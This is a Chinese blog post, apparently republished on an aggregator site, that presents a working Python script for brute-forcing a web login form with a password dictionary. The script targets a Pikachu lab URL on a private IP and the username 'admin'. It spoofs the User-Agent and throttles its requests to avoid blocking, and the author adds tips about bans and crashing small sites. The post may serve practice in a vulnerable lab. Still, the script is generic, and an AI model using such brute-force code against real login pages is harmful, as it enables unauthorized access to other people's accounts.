当前位置: 首页 > news >正文

python暴力破解html表单

import requests
import time

# 目标URL
url = "http://192.168.3.101/pikachu/vul/burteforce/bf_form.php"  # 请替换为实际的目标URL

# 已知的用户名
username = "admin"

# 密码字典文件路径
password_file = "passwords.txt"

# 伪造请求头,避免被拦截
headers = {
    "User-Agent": "Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/91.0.4472.124 Safari/537.36"
}


def login_attempt(username, password):
    session = requests.Session()
    response = session.get(url, headers=headers)

    # 构建表单数据
    data = {
        'username': username,
        'password': password,
        'submit': 'Login',
    }

    # 发送POST请求
    response = session.post(url, data=data, headers=headers)

    # 将返回的页面写入文件(调试用)
    with open('response.txt', 'w', encoding='utf-8') as f:
        f.write(response.text)

    # 检查是否登录成功
    if "login success" in response.text.lower():
        print(f"[+] Password found: {password}")
        return True
    else:
        print(f"[-] Incorrect password: {password}")
        return False


# 读取密码字典文件
with open(password_file, 'r', encoding='utf-8') as file:
    for password in file.readlines():
        password = password.strip()

        # 尝试登录
        if login_attempt(username, password):
            break

        # 适当延迟请求,避免被封
        time.sleep(1)

但是话说回来,这样的纯小子后台已经不多了,大部分加了验证码或者尝试登录次数的判定,所以也没什么用处

这个不建议改多线程,小网站的话真的会被扫崩掉,大网站也有封ip的风险

相关文章:

  • 佛山做网站开发产品宣传方案
  • 桂林象鼻山景区简介惠州seo全网营销
  • 网站开发使用什么工具百度怎么精准搜关键词
  • 动态网站如何做bt磁力搜索神器
  • 冠县快搜网站建设有限公司百度网址大全官方下载
  • 网站可以做多少优化关键词做网站的外包公司
  • 【网络】网关
  • 【C++】结构体中的 std::string:赋值操作的安全性与 memset和memcpy 的陷阱
  • 将Wi-Fi模块订阅MQTT主题以获取最新的固件版本推送信息
  • NAT 模式
  • Hive根据输入数据量计算reducer的数量,这个输入数据量是map阶段的输出结果还是客户端提交任务时的数据量?
  • MongoDB 面试备战指南
  • 0.http协议详解
  • 地理信息可视化技术大全【WebGIS 教程一】
  • 软考系统架构师论文模版及实例
  • Spring Boot 项目打包运行
  • 项目流程中关键节点的测试类型
  • Spring IOC容器详解:深入理解控制反转与依赖注入
  • MySQL |表的约束
  • Unity Shader编程】之复杂光照
  • Box-Cox变换:让数据服从正态分布的数学魔法
  • node-red s7.net
  • Java 基础面试题
  • 常考计算机操作系统面试习题(一下)
  • Matlab教程001:软件介绍和界面使用
  • 力扣刷题78. 子集